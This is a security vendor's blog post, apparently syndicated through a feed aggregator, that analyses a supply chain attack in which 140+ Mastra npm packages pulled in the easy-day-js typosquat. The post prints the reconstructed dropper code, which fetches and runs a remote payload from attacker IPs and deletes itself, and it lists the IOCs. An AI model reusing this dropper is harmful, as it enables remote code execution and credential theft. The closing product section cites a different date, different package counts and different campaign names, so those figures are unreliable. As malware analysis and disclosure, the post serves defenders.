惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
L
LINUX DO - 热门话题
Help Net Security
Help Net Security
AWS News Blog
AWS News Blog
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
NISL@THU
NISL@THU
T
Threat Research - Cisco Blogs
C
CERT Recently Published Vulnerability Notes
C
Cisco Blogs
P
Privacy International News Feed
博客园 - 聂微东
T
Tenable Blog
Recent Announcements
Recent Announcements
D
Darknet – Hacking Tools, Hacker News & Cyber Security
Latest news
Latest news
The GitHub Blog
The GitHub Blog
爱范儿
爱范儿
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
T
The Exploit Database - CXSecurity.com
博客园 - 三生石上(FineUI控件)
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
P
Proofpoint News Feed
Security Archives - TechRepublic
Security Archives - TechRepublic
P
Privacy & Cybersecurity Law Blog
Hugging Face - Blog
Hugging Face - Blog
WordPress大学
WordPress大学
Know Your Adversary
Know Your Adversary
S
Schneier on Security
云风的 BLOG
云风的 BLOG
GbyAI
GbyAI
Stack Overflow Blog
Stack Overflow Blog
W
WeLiveSecurity
G
Google Developers Blog
Microsoft Azure Blog
Microsoft Azure Blog
AI
AI
G
GRAHAM CLULEY
小众软件
小众软件
博客园 - 司徒正美
Scott Helme
Scott Helme
罗磊的独立博客
Project Zero
Project Zero
A
About on SuperTechFans
MyScale Blog
MyScale Blog
L
LangChain Blog
TaoSecurity Blog
TaoSecurity Blog
P
Palo Alto Networks Blog
H
Heimdal Security Blog
N
News and Events Feed by Topic
阮一峰的网络日志
阮一峰的网络日志

Step Security Blog

Securing Vibe Coding and AI Coding Agents: An End-to-End Approach with StepSecurity - StepSecurity Introducing StepSecurity Dev Machine Guard: Protecting Developer Machines from Supply Chain Attacks - StepSecurity Top 2024 Predictions for CI/CD Security - StepSecurity Dev Machine Guard Is Now Open Source: See What's Really Running on Your Developer Machine - StepSecurity Datadog's DevSecOps 2026 Report Validates What We've Been Building - StepSecurity hackerbot-claw: An AI-Powered Bot Actively Exploiting GitHub Actions - Microsoft, DataDog, and CNCF Projects Hit So Far - StepSecurity Cline Supply Chain Attack Detected: cline@2.3.0 Silently Installs OpenClaw - StepSecurity StepSecurity’s Unified Protection Across the SDLC Infrastructure Threat Framework (SITF) - StepSecurity @velora-dex/sdk Compromised on npm: Malicious Version Drops macOS Backdoor via launchctl Persistence - StepSecurity axios Compromised on npm - Malicious Versions Drop Remote Access Trojan - StepSecurity Behind the Scenes: How StepSecurity Detected and Helped Remediate the Largest npm Supply Chain Attack - StepSecurity 10 Layers Deep: How StepSecurity Stops TeamPCP's Trivy Supply Chain Attack on GitHub Actions - StepSecurity Malicious IoliteLabs VSCode Extensions Target Solidity Developers on Windows, macOS, and Linux with Backdoor - StepSecurity TeamPCP Plants WAV Steganography Credential Stealer in telnyx PyPI Package - StepSecurity litellm: Credential Stealer Hidden in PyPI Wheel - StepSecurity Checkmarx KICS GitHub Action Compromised: Malware Injected in All Git Tags - StepSecurity CanisterWorm: How a Self-Propagating npm Worm Is Spreading Backdoors Across the Ecosystem - StepSecurity Trivy Compromised a Second Time - Malicious v0.69.4 Release, aquasecurity/setup-trivy, aquasecurity/trivy-action GitHub Actions Compromised - StepSecurity bittensor-wallet 4.0.2 Compromised on PyPI - Backdoor Exfiltrates Private Keys - StepSecurity Malicious npm Releases Found in Popular React Native Packages - 130K+ Monthly Downloads Compromised - StepSecurity Malicious Polymarket Bot Hides in Hijacked dev-protocol GitHub Org and Steals Wallet Keys - StepSecurity ForceMemo: Hundreds of GitHub Python Repos Compromised via Account Takeover and Force-Push - StepSecurity xygeni-action Compromised: C2 Reverse Shell Backdoor Injected via Tag Poisoning - StepSecurity kubernetes-el Compromised: How a Pwn Request Exploited a Popular Emacs Package - StepSecurity How StepSecurity Caught a Release Storm in Microsoft’s @types Packages - StepSecurity Harden Runner Now Supports Windows and macOS GitHub Actions Runners - StepSecurity 10,000 Open-Source Projects Now Secured by Harden-Runner Community-Tier: A Milestone Three Years in the Making - StepSecurity 20+ Popular NPM Packages Compromised (Chalk, Debug, Strip-ANSI, Color-Convert, Wrap-ANSI...) - StepSecurity 2024 in Review: The Evolution of CI/CD Security & What's Next - StepSecurity How to Use Docker in Actions Runner Controller (ARC) Runners Securely - StepSecurity Celebrating 1000 Repositories Secured with Harden Runner: A Journey of Growth and Collaboration - StepSecurity StepSecurity Detects Early Supply Chain Risk Signals in kilocode npm - StepSecurity Another npm Supply Chain Attack: The 'is' Package Compromise - StepSecurity anthropics/claude-code-action Security: How to Secure Claude Code in GitHub Actions with Harden-Runner - StepSecurity Harden-Runner detection: tj-actions/changed-files action is compromised - StepSecurity StepSecurity's Catalog of Fixes - StepSecurity Orchestrating Security: StepSecurity's Impact on 400+ Repositories and Future Plans - StepSecurity Announcing Anomalous Outbound Call Detection Using Machine Learning - StepSecurity Announcing GitHub Actions Advisor and StepSecurity Maintained Actions - StepSecurity Analysis of Backdoored XZ Utils Build Process with Harden-Runner - StepSecurity Announcing General Availability of Harden Runner - StepSecurity Milestone Achieved: 2500+ Public Repositories Secured with Harden-Runner - StepSecurity Build secretless CI/CD pipelines using wait-for-secrets - StepSecurity Introducing Apps & PATs: Centralized Visibility for GitHub Apps and Personal Access Tokens - StepSecurity CVE-2026-22709: Critical Sandbox Escape Vulnerability in vm2 - StepSecurity StepSecurity Now Supports Dark Mode - StepSecurity 2025 in Review: The Evolution of Supply Chain Security & What's Next - StepSecurity Bake Harden-Runner Into GitHub's Custom Runner Images for Organization-Wide CI/CD Security - StepSecurity StepSecurity Is Now Available on Azure Marketplace - StepSecurity Critical Remote Code Execution Vulnerabilities Discovered in React Server Components and Next.js - StepSecurity How Harden Runner Detected the Sha1-Hulud Supply Chain Attack in CNCF's Backstage Repository - StepSecurity Sha1-Hulud: The Second Coming - Zapier, ENS Domains, and Other Prominent NPM Packages Compromised - StepSecurity Supply Chain Security Alert: eslint-config-prettier Package Shows Signs of Compromise - StepSecurity 9,000 Open-Source Projects Now Secured by Harden-Runner - StepSecurity Shai-Hulud: Self-Replicating Worm Compromises 500+ NPM Packages - StepSecurity Introducing npm Package Search: Find Where Any Package Was Introduced Across Your GitHub Organizations - StepSecurity StepSecurity Is Sponsoring GitHub Universe 2025 - StepSecurity s1ngularity: Popular Nx Build System Package Compromised with Data-Stealing Malware - StepSecurity Introducing StepSecurity Threat Intelligence: Real-Time Supply Chain Attack Alerts for Your SIEM - StepSecurity 8,000 Strong: Harden-Runner's Growing Impact on CI/CD Security - StepSecurity Securing Google Gemini in GitHub Actions with Harden-Runner - StepSecurity GhostAction Campaign: Over 3,000 Secrets Stolen Through Malicious GitHub Workflows - StepSecurity Introducing the NPM Package Cooldown Check - StepSecurity Securing GitHub Copilot in GitHub Actions with Harden-Runner - StepSecurity Calculate Your CI/CD Security ROI with StepSecurity's New ROI Calculator - StepSecurity How StepSecurity Harden Runner Detected Unexpected Microsoft Defender Installation on GitHub-hosted Ubuntu Runners - StepSecurity StepSecurity Harden Runner: Detect source code tampering during the build process - StepSecurity Suspicious Tag Movement in AWS’s GitHub Action: What Happened and Why It Matters - StepSecurity When 'Changed Files' Changed Everything: Our Black Hat 2025 Presentation on the tj-actions Supply Chain Breach - StepSecurity Lessons from AWS CodeBuild’s Memory-Dump Incident (CVE-2025-8217) - StepSecurity Supply Chain Security Alert: num2words PyPI Package Shows Signs of Compromise - StepSecurity When AI Meets CI/CD: Coding Agents in GitHub Actions Pose Hidden Security Risks - StepSecurity The GitHub Warning Everyone Ignores: 'This Commit Does Not Belong to Any Branch' - StepSecurity 8 GitHub Actions Secrets Management Best Practices to Follow - StepSecurity reviewdog GitHub Actions are compromised - StepSecurity 7,000 Open-Source Projects Now Secured by Harden-Runner - StepSecurity Replace Third-Party Actions with StepSecurity Maintained Actions via Automated Pull Requests - StepSecurity StepSecurity Is Now Available on AWS Marketplace - StepSecurity Introducing StepSecurity Artifact Monitor: Detect Unauthorized Software Releases in minutes, not months - StepSecurity Introducing Workflow Run Policies: Guardrails for Blocking Non-Compliant GitHub Actions Runs - StepSecurity Harden-Runner Detects New Traffic to release-assets.githubusercontent.com Across Multiple Customers - StepSecurity Grafana GitHub Actions Security Incident - StepSecurity Export Harden-Runner Security Insights and Detections to Amazon S3 - StepSecurity Evolving Harden-Runner’s disable-sudo Policy for Improved Runner Security - StepSecurity Announcing Policy-Driven Automated Pull Requests for CI/CD Misconfiguration Remediation - StepSecurity Announcing StepSecurity’s Integration with RunsOn: Secure and Optimized CI/CD Pipelines - StepSecurity Secure Repo Just Got Better: New Features for GitHub Actions Security Best Practices - StepSecurity Why Compliance Auditors Are Looking at Your CI/CD Runners - And How to Prepare - StepSecurity Harden-Runner Flags Anomalous Outbound Call, Leading to Docker Documentation Update - StepSecurity StepSecurity Harden-Runner Now Secures GitHub Actions Workflows for Over 5,000 Open Source Projects - StepSecurity GitHub Actions Pwn Request Vulnerability - StepSecurity Prevent Ultralytics Style CI/CD Security Attacks with Network Security Controls - StepSecurity PyTorch Supply Chain Compromise - StepSecurity Unified Network Egress View: Centralize GitHub Actions Network Destinations for Your Enterprise - StepSecurity Uniting Developers and Security: Celebrating the Success of 500+ Open Source Projects Using StepSecurity's Orchestration Platform - StepSecurity 5 Effective Third-Party GitHub Actions Governance Best Practices - StepSecurity StepSecurity Recognized Among CRN’s "10 Hottest DevOps Startups Of 2024" - StepSecurity Streamline Your GitHub Actions Workflows with StepSecurity’s Latest Feature - StepSecurity StepSecurity Steps Up the Security Game with SOC 2 Type 2 Compliance - StepSecurity StepSecurity's Alignment with CISA's CI/CD Security Guidance - StepSecurity
Mastra npm Supply Chain Attack: 140+ Packages Backdoored via easy-day-js Typosquat - StepSecurity
2026-06-17 · via Step Security Blog

Summary

On June 17, 2026, an attacker compromised the @mastra npm organization and quietly added easy-day-js as a dependency across 140+ packages in the Mastra AI framework ecosystem. easy-day-js is a typosquat of the popular dayjs date library, and its latest version contained an obfuscated postinstall dropper that downloaded and ran a second-stage payload from attacker-controlled servers, then deleted itself to remove any trace. Packages with a combined weekly download count exceeding 1.1 million were exposed. If you installed any @mastra package today, treat your environment as compromised.

This is an ongoing attack. Additional @mastra packages are continuing to be compromised as we publish this post. we will continue to update our blog post with additional findings. We have responsibly disclosed this issue in mastra-ai-repo: https://github.com/mastra-ai/mastra/issues/18045

Background: The Mastra AI Framework

Mastra is a rapidly growing open-source TypeScript framework for building AI agents, multi-step workflows, and retrieval-augmented generation (RAG) pipelines. It provides native integrations for major LLM providers (OpenAI, Anthropic, Google), persistent agent memory, Model Context Protocol (MCP) servers, vector databases, and cloud deployment targets. Because Mastra sits at the intersection of AI development and cloud infrastructure, its packages are routinely installed in environments that hold some of the most sensitive credentials in modern software development:

  • LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY, GOOGLE_API_KEY)
  • Cloud provider credentials (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AZURE_TENANT_ID)
  • Database connection strings and tokens
  • CI/CD secrets and VCS tokens (GITHUB_TOKEN, NPM_TOKEN)

This makes the Mastra ecosystem an exceptionally high-value target for supply chain attackers.

How the Attack Unfolded

Stage 0 Pre-positioning: The Clean Bait Package (June 16)

The attack actually started the day before. On June 16, 2026 at 07:05 UTC, npm user sergey2016 published easy-day-js@1.11.21, a clean, fully functional copy of the legitimate dayjs date library with no malicious code at all. Its only purpose was to look credible. The package mirrors dayjs's version numbering (1.11.x), author metadata (iamkun), homepage, repository URL, license, and keywords, so it could pass a casual visual inspection without raising flags.

This bait version (not the malicious one) was what got injected into the @mastra packages as a dependency. The trick is in how npm resolves versions: the dependency was pinned as "easy-day-js": "^1.11.21", which means npm always resolves to the latest matching version at install time. So once the attacker published the malicious 1.11.22, every fresh npm install would automatically pull the payload without needing any further changes to the @mastra packages themselves.

Stage 1 Payload Upload (June 17, 01:01 UTC)

At 01:01 UTC on June 17, sergey2016 published easy-day-js@1.11.22. This version is identical to 1.11.21 with one addition: a file named setup.cjs (4,572 bytes) and a postinstall hook that executes it:

"postinstall": "node setup.cjs --no-warnings"

The --no-warnings flag suppresses Node.js runtime warnings that might tip off the user. The setup.cjs file itself is obfuscated using a custom-alphabet Base64 scheme backed by a 40-element string array that has to be rotated 34 positions before an arithmetic integrity check passes. This is specifically designed to trip up static analysis tools that evaluate the string array before the rotation runs.

Stage 2 @mastra Organization Compromise & Mass Publish (01:12–02:39 UTC)

Just 11 minutes after uploading the payload, the attacker used compromised @mastra organization credentials to kick off an automated publishing campaign. Over the next 88 minutes, 140+ packages across the entire Mastra ecosystem were republished with easy-day-js quietly added as a production dependency.

2026-06-17  01:01 UTC easy-day-js@1.11.22 published by sergey2016 with malicious setup.cjs dropper Payload live

01:12 UTC First @mastra package hit: @mastra/schema-compat@1.2.12 — 1.23M weekly downloads

01:15 – 01:20 UTC Core packages: @mastra/core@1.42.1, @mastra/memory@1.20.4, @mastra/server@2.1.1, @mastra/loggers@1.1.3, @mastra/observability@1.14.2, @mastra/deployer@1.42.1

01:24 UTC mastra@1.13.1 — the top-level framework package

01:25 – 01:30 UTC Infrastructure packages: @mastra/pg@1.13.1, @mastra/mcp@1.10.1, @mastra/libsql@1.13.1, @mastra/evals@1.3.1, @mastra/rag@2.2.2, @mastra/datadog@1.2.5

01:34 – 02:09 UTC Database adapters, observability integrations, voice providers, auth plugins, and deployer targets published in rapid succession

02:19 – 02:39 UTC More packages continuing to be compromised. Last observed: @mastra/dane at 02:39 UTC

The cadence makes it obvious this wasn't manual. Packages were arriving in tightly spaced clusters throughout the window, consistent with a script that enumerated the full @mastra organization and processed packages in batches.

Stage 3 Dropper Execution at Install Time

When a developer runs npm install @mastra/core (or any of the infected packages), npm resolves easy-day-js to version 1.11.22, the latest patch matching ^1.11.21, and automatically runs its postinstall hook. The obfuscated setup.cjs then executes the following logic:

'use strict';
const child_process = require('node:child_process');
const crypto = require('node:crypto');
const fs   = require('node:fs');
const os   = require('node:os');
const path = require('node:path');

// Disable TLS certificate verification
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';

(async () => {
  try {
    const stage2Url = 'https://23.254.164.92:8000/update/49890878';
    const stage2C2  = '23.254.164.123:443';

    // Write install beacon to temp directory
    fs.writeFileSync(path.join(os.tmpdir(), '.pkg_history'), __dirname, 'utf-8');
    fs.writeFileSync(path.join(os.tmpdir(), '.pkg_logs'), pkgMarker);

    // Download stage-2 payload (TLS disabled)
    const payload  = await (await fetch(stage2Url)).text();

    // Write to random-named file and spawn as detached background process
    const filename = crypto.randomBytes(12).toString('hex') + '.js';
    const filepath = path.join(os.tmpdir(), filename);
    fs.writeFileSync(filepath, payload, 'utf8');

    child_process.spawn(process.execPath, [filepath, stage2C2], {
      cwd: os.tmpdir(), detached: true, stdio: 'ignore', windowsHide: true
    }).unref();

  } catch {}
  finally {
    // Self-delete to destroy forensic evidence
    fs.rmSync(__filename, { force: true });
  }
})();


Several behaviors make this dropper particularly effective at evading detection:

     
  • TLS certificate bypass. Setting NODE_TLS_REJECT_UNAUTHORIZED=0 lets the dropper reach the C2 server even if it uses a self-signed certificate, so a bad cert won't cause a visible download failure.
  •  
  • Beaconing. Before fetching the payload, the dropper writes the package's full installation path (__dirname) to <tmpdir>/.pkg_history, giving the attacker a map of affected machines.
  •  
  • Process detachment. The stage-2 payload is spawned with detached: true and stdio: 'ignore', then immediately .unref()'d. It keeps running in the background after npm exits, with no visible output.
  •  
  • Self-deletion. fs.rmSync(__filename, { force: true }) removes setup.cjs from the package tree right after it runs, wiping the main forensic artifact.

Stage 4 Stage-2 Payload

The stage-2 payload is fetched at runtime from https://23.254.164.92:8000/update/49890878 and is not embedded in any tarball, so static analysis can't reach it. It runs as a detached background process with 23.254.164.123:443 passed as its first argument, almost certainly the command-and-control address. Given that Mastra environments typically hold LLM API keys and cloud credentials, the most likely outcome of stage-2 execution is environment variable harvesting and exfiltration to that C2.

Runtime Analysis Using Harden Runner

To validate the malware's behavior at runtime, we installed @mastra/core@1.42.1 in a controlled GitHub Actions workflow with StepSecurity Harden Runner enabled in block mode. In block mode, Harden Runner enforces an allowlist of permitted outbound endpoints at the step level — any connection attempt to an address outside that list is blocked and logged before a single byte leaves the runner.

The moment easy-day-js@1.11.22's postinstall hook fired, Harden Runner intercepted and blocked the outbound call to 23.254.164.92:8000. Because the stage-2 payload could not be downloaded, the rest of the attack chain never executed:

     
  • Stage-2 payload download blocked — the fetch to https://23.254.164.92:8000/update/49890878 was cut off at the network layer. No payload file was written to the temp directory.
  •  
  • Detached child process never spawned — with no payload on disk, the child_process.spawn call had nothing to run. The stage-2 C2 at 23.254.164.123:443 was never contacted.
  •  
  • Credential exfiltration prevented — because the attack chain stopped at the first network call, no environment variables, API keys, or cloud credentials were exposed to the attacker.
  •  
  • Block logged in real time — the blocked connection appears immediately in the Harden Runner network events view, giving teams a clear, timestamped record of the attempt without needing to correlate logs from multiple sources.

The 23.254.164.92 IP is now on the StepSecurity Harden Runner Global Block List, so workflows do not need to manually allowlist-configure anything — the block applies automatically to all protected workflows.

You can inspect the full network events log from our controlled run here: View example run — C2 domain blocked by Harden Runner

Call to the C2 domain 23.254.164.92

The Typosquat: easy-day-js vs dayjs

The choice of dayjs as the legitimate package to impersonate was deliberate. dayjs is one of the most widely used JavaScript date libraries, with name recognition that reduces the likelihood a developer reviewing a dependency list will flag easy-day-js as suspicious. The attacker went further by copying the legitimate library's package metadata wholesale:

Attribute Legitimate dayjs Malicious easy-day-js
npm author iamkun iamkun Copied
Homepage https://day.js.org https://day.js.org Copied
Repository github.com/iamkun/dayjs github.com/iamkun/dayjs Copied
License MIT MIT Copied
Version 1.11.x 1.11.211.11.22 Mirrored
Keywords dayjs, date, time, moment dayjs, date, time, moment Copied
npm maintainer iamkun sergey2016 Attacker
Postinstall hook None node setup.cjs --no-warnings Malicious
setup.cjs Not present setup.cjs — 4,572 bytes, obfuscated Dropper

The only reliable distinguishing features are the npm maintainer (sergey2016, registered with sergey2016@tutamail.com) and the presence of setup.cjs in the tarball. A developer performing a routine npm audit or visual review of package.json would have no obvious signal that something was wrong.

Obfuscation: Three Layers

The setup.cjs dropper employs three distinct obfuscation layers, stacked to defeat automated static analysis

  1. Custom-alphabet Base64 encoding. All string literals (API names, C2 URL, file paths) are stored using a shuffled Base64 alphabet with lowercase letters first, then uppercase, then digits. Standard Base64 decoders will produce garbage without first reversing the alphabet mapping.
  2.  
  3. Array rotation with integrity check. The decoded 40-element string array has to be rotated exactly 34 positions before an arithmetic checksum equals 0x4c11d (311,581). Any static analysis tool that tries to evaluate the array before the rotation runs will index the wrong strings and miss the actual payload logic.
  4.  
  5. XOR-encoded beacon marker. The package name easy-day-js is stored as the byte sequence [0xe5, 0xe1, 0xf3, 0xf9, 0xad, 0xe4, 0xe1, 0xf9, 0xad, 0xea, 0xf3] and written to .pkg_logs as raw binary, so the plaintext string never shows up in any file written to disk.

Notably, the C2 URL https://23.254.164.92:8000/update/49890878 appears in plaintext within the obfuscated source — an unusual choice that may indicate the dropper was prepared under time pressure.

Indicators of Compromise (IOCs)

Type Indicator Description
npm package easy-day-js@1.11.22 Primary malicious package; contains obfuscated postinstall dropper
npm package easy-day-js@1.11.21 Clean bait version injected as dependency; resolves to 1.11.22 at install time
npm maintainer sergey2016 / sergey2016@tutamail.com Attacker account that published the malicious easy-day-js versions
file in tarball setup.cjs (4,572 bytes) Obfuscated stage-1 dropper; absent in easy-day-js@1.11.21
IP address 23.254.164.92 Stage-1 C2; serves stage-2 payload on port 8000
IP address 23.254.164.123 Stage-2 C2; receives beacon and exfil on port 443
URL https://23.254.164.92:8000/update/49890878 Stage-2 payload download endpoint
npm script "postinstall": "node setup.cjs --no-warnings" Execution trigger in easy-day-js package.json
file on disk <tmpdir>/.pkg_history Install beacon written by dropper; contains absolute path of installed package
file on disk <tmpdir>/.pkg_logs Package name marker written as XOR(0x80) binary
file on disk <tmpdir>/<24-hex-chars>.js Stage-2 payload written to temp dir before execution; may be deleted by stage-2
env variable NODE_TLS_REJECT_UNAUTHORIZED=0 Set at runtime to disable TLS cert validation for C2 fetch

All Affected Packages

The following packages across the Mastra organization were compromised. Any version listed in this table published on 2026-06-17 should be considered malicious.

📡

Enterprise

StepSecurity Enterprise customers can query all compromised packages from this incident — and every future one — in real time via the StepSecurity Threat Center API. The package list on this page reflects what was known at publish time; the API always returns the latest data.

Learn how to use the compromised components API →

For StepSecurity Enterprise Customers

Threat Center Alert

StepSecurity has published a threat intel alert in the Threat Center with all relevant links to check if your organization is affected. The alert includes the full attack summary, technical analysis of the Phantom Gyp technique, IOCs, all 57 affected packages and 286+ malicious versions, and remediation steps, so teams have everything needed to triage and respond immediately. Threat Center alerts are delivered directly into existing SIEM workflows for real-time visibility.

Threat center Alert

Harden-Runner

Harden-Runner is a purpose-built security agent for CI/CD runners. It monitors all network events, process executions, file access, and outbound network connections at the step level in GitHub Actions, providing full runtime visibility into what happens during every workflow step, including npm install.

Harden-Runner detected and blocked outbound call to c2 ip address containing the attack.

https://app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/27661280135?jobId=81806027647

Secure Registry

StepSecurity Secure Registry provides each enterprise customer with a dedicated, policy-enforced npm registry that sits between your existing package manager (such as JFrog Artifactory) and the public npm registry. Instead of fetching packages directly from registry.npmjs.org, your infrastructure routes requests through your StepSecurity registry, which applies configurable security policies before serving any package.

The primary defense here is the cooldown period. Newly published package versions are held for a configurable window before being served to any developer machine or CI/CD pipeline. When the compromised @mastre packages were published to npm, Secure Registry customers were never exposed. If affected packages were still not removed by npm within your configured cooldown period, this will still be blocked by our 'Compromised Packages' control.

Detect Compromised Developer Machines

StepSecurity Dev Machine Guard gives security teams real-time visibility into npm packages installed across every enrolled developer device. When a malicious package is identified, teams can immediately search by package name and version to discover all impacted machines.

npm Package Cooldown Check

Newly published npm packages are temporarily blocked during a configurable cooldown window. When a PR introduces or updates to a recently published version, the check automatically fails. Since most malicious packages are identified within hours, this creates a crucial safety buffer. In this case, 57 packages across 286+ malicious versions were published in a rolling campaign lasting under two hours on June 3, so any PR updating to an affected version during the cooldown period would have been blocked automatically.

npm Package Compromised Updates Check

StepSecurity maintains a real-time database of known malicious and high-risk npm packages, updated continuously, often before official CVEs are filed. If a PR attempts to introduce a compromised package, the check fails and the merge is blocked. All compromised versions from this Miasma campaign, including @vapi-ai/server-sdk, ai-sdk-ollama, and the full jagreehal package family, were added to this database within minutes of detection.

npm Package Search

Search across all PRs in all repositories across your organization to find where a specific package was introduced. When a compromised package is discovered, instantly understand the blast radius: which repos, which PRs, and which teams are affected. This works across pull requests, default branches, and dev machines.